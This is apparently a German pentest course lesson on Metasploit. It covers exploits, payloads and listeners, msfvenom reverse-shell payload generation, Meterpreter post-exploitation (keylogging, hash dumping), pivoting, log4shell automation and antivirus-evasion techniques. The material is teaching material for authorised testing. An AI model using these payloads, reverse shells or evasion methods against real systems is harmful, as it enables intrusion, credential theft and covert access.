Metasploit — Grundlagen
Metasploit ist das Framework, das die Ausnutzung von Schwachstellen industrialisiert hat. 2200 Exploits, 1500 Auxiliaries, 700 Payloads, alles fertig, alles gepflegt, alles anschließbar. Diese Woche lernen Sie, es zu benutzen, ohne davon abhängig zu werden: wann es hilft, wann es stört.
Jedes run in Metasploit sendet Exploit-Code an ein Ziel. Im Lab kein Problem. Im Auftrag muss Ihre RoE die aktive Ausnutzung ausdrücklich erlauben. Ein schlecht abgegrenztes run = ein ausfallender Dienst = ein verärgerter Kunde.
Was Sie nach dieser Lektion können werden
- Die vier Bausteine des Frameworks benennen: Exploit, Payload, Encoder, Listener.
- Einen passenden Payload für das Ziel wählen (Windows 32/64, Linux, ohne Stager, mit Stager).
msfvenomverwenden, um einen eigenständigen Payload zu erstellen (EXE, WAR, ELF, APK, Shellcode).- Eine Exploit-Kette mit
resource scriptsundmsfrpcautomatisieren. - Von einer Sitzung zu einem echten Pivot wechseln, um das interne Netzwerk zu testen.
- Wissen, wann Metasploit nicht eingesetzt werden sollte.
1. Metasploit als gedankliches Bild
Drei Schichten. Merken Sie sie sich.
ZIEL
↑
┌───┴───┐
│Exploit │ (löst die Schwachstelle aus: Buffer Overflow, RCE, Injection ...)
└───┬───┘
↓
┌───┴───┐
│Payload │ (der Code, der beim Ziel ausgeführt wird: Shellcode, Meterpreter)
└───┬───┘
↓
Netzwerk
↓
┌───┴───┐
│Listener│ (beim Angreifer, wartet auf die Rückverbindung)
└───────┘
Der Exploit öffnet die Tür. Der Payload tritt ein. Der Listener holt die Verbindung zurück.
2. Die großen Exploit-Familien
In msfconsole:
show exploits
Es gibt zu viele. Wir gruppieren sie:
| Familie | Was sie enthält |
|---|---|
exploit/windows/smb/ | EternalBlue, PsExec, SMB relay… |
exploit/windows/http/ | IIS, ASP.NET, Exchange, SharePoint. |
exploit/linux/http/ | Apache, Nginx, Struts, log4j (in exploit/multi/http/). |
exploit/multi/http/ | Betriebssystemübergreifende Webangriffe (log4j, PHPUnit, Confluence …). |
exploit/unix/ftp/, unix/misc/ | vsftpd-Backdoor, distccd usw. |
auxiliary/scanner/ | Keine Exploits — leichte Scanner (SMB-Versionen, LDAP-Login, MySQL). |
post/ | Nach der Ausnutzung: Rechteausweitung, Dumping, Pivoting. |
evasion/ | Erzeugung von AV-umgehenden Binärdateien. |
Tipp: search cve:2021-44228 sucht nach CVE (in diesem Fall log4shell). Deutlich zuverlässiger als die Suche nach Anwendungsnamen.
3. Die Payloads — die Wahl, die zählt
Zwei Dimensionen.
3.1. Mit oder ohne Stager
- Ohne Stager (
_reverse_tcp): eine vollständige Binärdatei wird auf einmal gesendet. Einfach, groß, leichter erkennbar. - Mit Stager (
_reverse_tcpist eigentlich schon gestaged): Zuerst wird ein kleiner Loader gesendet, der bei Ihnen zurückruft und den eigentlichen Payload herunterlädt. Diskreter, aber fragiler (zwei Hin- und Rückwege).
Auf modernen Zielen mit Antivirensoftware kommen gestagte Payloads oft besser durch.
3.2. Meterpreter oder einfache Shell
meterpreter: vollständiger Metasploit-Agent. Verschlüsselt (TLS), viele Befehle, Pivoting, Upload, Screenshots, Speicherauslesung. Mächtig, aber von Antivirenprogrammen stark signaturerkannt.shell_reverse_tcp: nur eine Reverse-Shell (/bin/shodercmd.exe). Simpel, unauffällig, funktioniert überall.shell_reverse_tls: TLS-verschlüsselte Reverse-Shell. Kompromiss zwischen Unauffälligkeit und Zuverlässigkeit.
Namensschema:
<OS>/<arch>/<payload>/<transport>
Beispiele:
windows/x64/meterpreter/reverse_tcplinux/x86/shell_reverse_tcpjava/meterpreter/reverse_httpsphp/meterpreter/reverse_tcppython/meterpreter/reverse_tcp
3.3. Kompatibilität — Fallstricke
windows/x64/…funktioniert nicht auf einem 32-Bit-Windows. Prüfen Siesysinfonach dem ersten Zugriff.- Ein
java/*-Payload ist betriebssystemneutral, erfordert aber eine JVM. Nützlich für Tomcat/JBoss. - Ein
php/*-Payload wird in einem PHP-Kontext ausgeführt (RFI/LFI). Kein vollständiges Meterpreter.
Regel: set PAYLOAD explizit setzen. Lassen Sie Metasploit niemals raten.
4. msfvenom — Ihren eigenen Payload erstellen
Wenn ein Exploit außerhalb von Metasploit einen Payload benötigt, erstellt man ihn mit msfvenom (Nachfolger von msfpayload + msfencode).
Syntax:
msfvenom -p <payload> LHOST=<votre_ip> LPORT=<port> -f <format> -o <fichier>
Häufige Beispiele:
# Windows-EXE (gestagtes Reverse TCP)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f exe -o payload.exe
# Linux-ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f elf -o payload.elf
# WAR (zum Deployment auf Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f war -o pwn.war
# Android-APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-o pwn.apk
# PowerShell-Einzeiler
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
-f psh-cmd -o cmd.ps1
# Roher Shellcode (zum Einbetten in einen eigenen Exploit)
msfvenom -p linux/x64/exec CMD="/bin/bash -i" -f raw -o shellcode.bin
Encoding für den Versuch der AV-Umgehung (2026 nur mäßig wirksam):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... \
-e x64/xor_dynamic -i 5 -f exe -o payload.exe
Die Encoder von Metasploit sind allen Antivirenprogrammen bekannt. Für echte Umgehung braucht es Donut, Nim/Rust-Loader, Sliver, Havoc, Mythic — das sprengt jedoch den Rahmen eines klassischen Pentest-Kurses.
5. Multi/Handler — eine Shell ohne Exploit abfangen
Wenn ein Exploit außerhalb von Metasploit durchgeführt wird (ein mit msfvenom erzeugter Payload wird auf anderem Weg abgelegt und ausgeführt), möchte man trotzdem eine Metasploit-Sitzung erhalten. Das ist die Aufgabe von multi/handler:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.5
set LPORT 4444
set ExitOnSession false
run -j
run -j = Job. Der Handler läuft im Hintergrund und ist bereit zum Empfang. Sie können die Ausführung des Payloads auf dem Ziel auslösen (per E-Mail, per Web-Exploit, per geplanter Aufgabe) — die Shell landet im Handler.
6. Meterpreter — das Schweizer Taschenmesser in der Sitzung
Sobald Sie meterpreter > erhalten haben:
sysinfo # Betriebssystem, Architektur, Domäne, Sprache
getuid # wer bin ich?
getprivs # welche Windows-Rechte?
ps # Prozesse
migrate <PID> # zu einem anderen Prozess wechseln (Stabilität)
screenshot # Bildschirmfoto
keyscan_start / keyscan_dump # Keylogger
hashdump # NTLM-Hashes der lokalen Konten (erfordert SYSTEM)
upload / download # Übertragungen
shell # echte Betriebssystem-Shell
Unter Linux:
sysinfo, getuid, ps, upload, download, shell, portfwd
Wertvoller Befehl:
run post/multi/recon/local_exploit_suggester
Schlägt lokale Exploits zur Rechteausweitung vor (Modul 9).
7. Pivoting — einen kompromittierten Rechner nutzen, um weiter anzugreifen
Das ist der eigentliche Mehrwert von Metasploit bei komplexen Aufträgen. Sie haben eine Shell auf 10.10.10.20. Von diesem Rechner aus sehen Sie ein weiteres Netzwerk 192.168.100.0/24. Sie möchten dieses Netzwerk von Kali aus scannen, indem Sie über den kompromittierten Rechner gehen.
7.1. Meterpreter-Autoroute
meterpreter > run autoroute -s 192.168.100.0/24
Metasploit fügt eine interne Route hinzu: Der gesamte Metasploit-Verkehr zu 192.168.100.0/24 läuft über die Meterpreter-Sitzung.
Scannen Sie das interne Netzwerk aus msfconsole heraus:
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.100.0/24
set PORTS 22,80,445,3389
run
Der Datenverkehr verlässt das kompromittierte Ziel, nicht Ihr Kali. Unauffällig.
7.2. SOCKS-Proxy für externe Tools
Sie möchten nmap, curl, sqlmap von Kali aus verwenden, aber der Datenverkehr soll über das Ziel laufen:
use auxiliary/server/socks_proxy
set VERSION 5
run -j
Konfigurieren Sie proxychains (/etc/proxychains.conf):
socks5 127.0.0.1 1080
Und:
proxychains nmap -sT -Pn -p 22,80,445 192.168.100.10
proxychains curl http://192.168.100.10/
Ihre Anfragen erscheinen, als kämen sie vom kompromittierten Ziel. Das ist der Standard-Pivot.
8. Resource-Skripte — automatisieren, ohne die Nachvollziehbarkeit zu verlieren
Ein resource script (.rc) ist eine Textdatei mit msfconsole-Befehlen, die der Reihe nach ausgeführt werden.
log4shell.rc:
workspace log4shell-mission
use exploit/multi/http/log4shell_header_injection
set RHOSTS file:cibles.txt
set RPORT 8080
set LHOST 10.10.10.5
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set ExitOnSession false
run -j
Start:
msfconsole -q -r log4shell.rc
Bewährte Praxis:
- Ein
.rcpro Angriff oder pro Welle. - Versionierung in Git (privat).
- Den Befehl vor dem Start mit Uhrzeit in eine Datei
commandes.mdkopieren.
Ohne das wird ein Abschlussbericht zu einer archäologischen Gedächtnisübung.
9. msfrpc und pymetasploit3 — Steuerung mit Python
Um in großem Maßstab zu automatisieren, stellt Metasploit eine RPC-API bereit:
sudo msfrpcd -P monpass -S -a 127.0.0.1
Aus Python heraus:
from pymetasploit3.msfrpc import MsfRpcClient
client = MsfRpcClient('monpass', server='127.0.0.1')
exploit = client.modules.use('exploit', 'multi/http/log4shell_header_injection')
exploit['RHOSTS'] = '10.10.10.20'
exploit['LHOST'] = '10.10.10.5'
payload = client.modules.use('payload', 'linux/x64/meterpreter/reverse_tcp')
payload['LHOST'] = '10.10.10.5'
payload['LPORT'] = 4444
exploit.execute(payload=payload)
# Warten und dann die offenen Sitzungen auflisten
import time; time.sleep(15)
print(client.sessions.list)
Nützlich, um mehrere Sitzungen zu orchestrieren, mit einem externen Tool zu korrelieren oder in ein internes Dashboard zu integrieren.
10. Antivirus und EDR — die blockierende Mauer
Im Jahr 2026 erkennt ein aktueller Windows Defender Standard-Meterpreter-Payloads sofort. Eine unverändert erzeugte payload.exe wird schon beim Kopieren erkannt.
Techniken, um durchzukommen (im Rahmen eines Pentests, nicht eines echten Red Teams):
- Handgeschriebener, kompilierter Loader in C/C#/Nim/Rust, der den Shellcode lädt. Aktuell kommt das noch oft durch.
- PowerShell-Verschleierung:
Invoke-Obfuscation, Laden im Speicher (Reflection.Assembly::Load). Amber, Base64, AES-Verschlüsselung. - Living off the Land:
wmic,certutil,bitsadmin,mshtazum Herunterladen und Ausführen — keine Binärdatei bleibt auf der Festplatte zurück. - Sliver / Havoc / Mythic: moderne C2-Frameworks, die Meterpreter für den Umgehungsteil ersetzen.
Für den Kurs: Im Lab wird Defender deaktiviert. Für das Training zur Umgehung gibt es ein eigenes Modul 8 (Advanced Payload Development).
11. Wann Metasploit nicht eingesetzt werden sollte
Drei Fälle:
- Eine RoE, die Metasploit ausdrücklich verbietet. Manche Kunden schließen es aus (Angst vor Lärm, Angst vor Fehlalarmen, Präferenz für eigenen Code).
- Der Exploit existiert bereits in 20 Zeilen Python, und Sie brauchen keinen vollständigen Stager. Laden Sie Metasploit nicht für ein
nc+ ein fest codiertes Passwort. - Das Ziel verfügt über ein modernes, gut konfiguriertes EDR. Meterpreter wird sofort Alarm schlagen. Greifen Sie auf unauffälligere Tools zurück.
Ein erfahrener Pentester setzt Metasploit gezielt ein, nicht systematisch.
12. Was Sie sich merken sollten
- Exploit + Payload + Listener = die drei Bausteine. Immer in dieser Reihenfolge.
msfvenomerstellt einen eigenständigen Payload für den Einsatz außerhalb von Metasploit.- Meterpreter ist mächtig, aber laut. shell_reverse_tcp ist simpel, aber unauffällig.
multi/handlerfängt eine Shell ohne Exploit ab — nützlich im Zusammenspiel mit msfvenom.autoroute+socks_proxy= Standard-Pivoting.- Automatisieren Sie mit
.rcund msfrpc, aber schreiben Sie jeden Befehl auf, bevor Sie ihn ausführen. - Im Jahr 2026 blockiert Defender Metasploit unverändert. Planen Sie einen Loader ein.
Nächste Lektion: drei durchgängige Metasploit-Angriffe, einschließlich eines Pivots von einem Linux-Ziel zu einem internen Subnetz. Das ist der offensivste Teil des Kurses.